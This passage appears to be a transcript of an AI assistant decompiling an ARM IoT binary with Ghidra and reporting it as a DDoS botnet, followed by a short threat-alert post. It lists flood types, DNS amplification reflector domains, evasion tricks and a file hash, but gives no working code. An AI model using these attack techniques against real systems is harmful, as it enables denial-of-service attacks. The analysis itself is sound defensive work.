{'funcName': 'htons', 'lineNum': 116}, {'funcName': 'rand_cmwc', 'lineNum': 118}, {'funcName': 'rand_cmwc', 'lineNum': 121}, {'funcName': 'htons', 'lineNum': 125}, {'funcName': 'makeRandomStr', 'lineNum': 130}, {'funcName': 'csum', 'lineNum': 131}, {'funcName': 'time', 'lineNum': 133}, {'funcName': 'sendto', 'lineNum': 142}, {'funcName': 'rand_cmwc', 'lineNum': 144}, {'funcName': 'rand_cmwc', 'lineNum': 147}, {'funcName': 'htons', 'lineNum': 151}, {'funcName': 'rand_cmwc', 'lineNum': 155}, {'funcName': 'findRandIP', 'lineNum': 157}, {'funcName': 'htonl', 'lineNum': 158}, {'funcName': 'csum', 'lineNum': 160}, {'funcName': 'usleep', 'lineNum': 165}, {'funcName': 'time', 'lineNum': 172}]"
  }
]

Function ghidra_decompile_function called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "name_or_address": "tcpFl00d"}

Tool result
[
  {
    "type": "text",
    "text": "Decompilation succeeded, and the artifact is saved at /sandbox/ghidra/decompiled_0xbb4c.txt. Please find the table of contents below. \n[{'funcName': 'rand_cmwc', 'lineNum': 59}, {'funcName': 'htons', 'lineNum': 62}, {'funcName': 'getHost', 'lineNum': 64}, {'funcName': 'memset', 'lineNum': 66}, {'funcName': 'socket', 'lineNum': 67}, {'funcName': 'setsockopt', 'lineNum': 70}, {'funcName': 'findRandIP', 'lineNum': 84}, {'funcName': 'htonl', 'lineNum': 85}, {'funcName': 'makeIPPacket', 'lineNum': 87}, {'funcName': 'rand_cmwc', 'lineNum': 88}, {'funcName': 'rand_cmwc', 'lineNum': 90}, {'funcName': 'strcmp', 'lineNum': 95}, {'funcName': 'strtok', 'lineNum': 109}, {'funcName': 'strcmp', 'lineNum': 111}, {'funcName': 'strcmp', 'lineNum': 117}, {'funcName': 'strcmp', 'lineNum': 123}, {'funcName': 'strcmp', 'lineNum': 129}, {'funcName': 'strcmp', 'lineNum': 135}, {'funcName': 'strtok', 'lineNum': 144}, {'funcName': 'rand_cmwc', 'lineNum': 147}, {'funcName': 'rand_cmwc', 'lineNum': 152}, {'funcName': 'htons', 'lineNum': 156}, {'funcName': 'tcpcsum', 'lineNum': 160}, {'funcName': 'csum', 'lineNum': 162}, {'funcName': 'time', 'lineNum': 164}, {'funcName': 'sendto', 'lineNum': 172}, {'funcName': 'findRandIP', 'lineNum': 174}, {'funcName': 'htonl', 'lineNum': 175}, {'funcName': 'rand_cmwc', 'lineNum': 177}, {'funcName': 'rand_cmwc', 'lineNum': 179}, {'funcName': 'rand_cmwc', 'lineNum': 181}, {'funcName': 'tcpcsum', 'lineNum': 184}, {'funcName': 'csum', 'lineNum': 186}, {'funcName': 'time', 'lineNum': 191}]"
  }
]

Yes, this is malicious. It's a DDoS botnet malware (likely Mirai variant) for ARM IoT devices.

Key Malicious Indicators:

Attack capabilities:

  • UDP flood (udpfl00d)
  • TCP SYN flood (tcpFl00d, ovh_bypass_syn)
  • DNS amplification (dns_flood)
  • HTTP flood (http_flood_main, https_request)
  • Game server attacks (minecraft_bypass, steam_bypass, r6_bypass)

Botnet behavior:

  • C&C communication (initConnection, checkCommands)
  • Process killing loop targeting competitors
  • Persistence mechanisms (ensure_single_instance, watchdog_maintain)
  • Self-removal capability (remove_self, cleanup_system)

Evasion techniques:

  • Process whitelisting to avoid killing critical services
  • XOR obfuscation for strings
  • Random string generation for evasion
  • Spoofed User-Agents (30+ mobile/desktop browsers)

Network IOCs:

  • DNS amplification targets: any.isc.org, any.cdn77.com, any.cloudflare-dnssec.net
  • API endpoints: /api/v1/users, /api/graphql, /cdn-cgi/challenge-platform

File indicators:

  • SHA256: 9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e
  • Type: ARM 32-bit ELF, statically linked
  • Process name obfuscation via prctl()

Recommendation: Isolate infected device immediately, block C&C communication, and perform full system reinstall.

sumarize teh findings in a short twitter post.

Dr.Binary

MALWARE ALERT 🚨

ARM IoT botnet detected (Mirai variant)

🎯 Capabilities:

  • DDoS: UDP/TCP/HTTP floods
  • DNS amplification attacks
  • Game server bypasses (Minecraft/Steam)
  • Competitor process killing

⚠️ Evasion: XOR obfuscation, 30+ spoofed User-Agents, persistence mechanisms

📊 SHA256: 9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e

🛡️ Action: Isolate & reinstall immediately

#Malware #IoT #Cybersecurity #ThreatIntel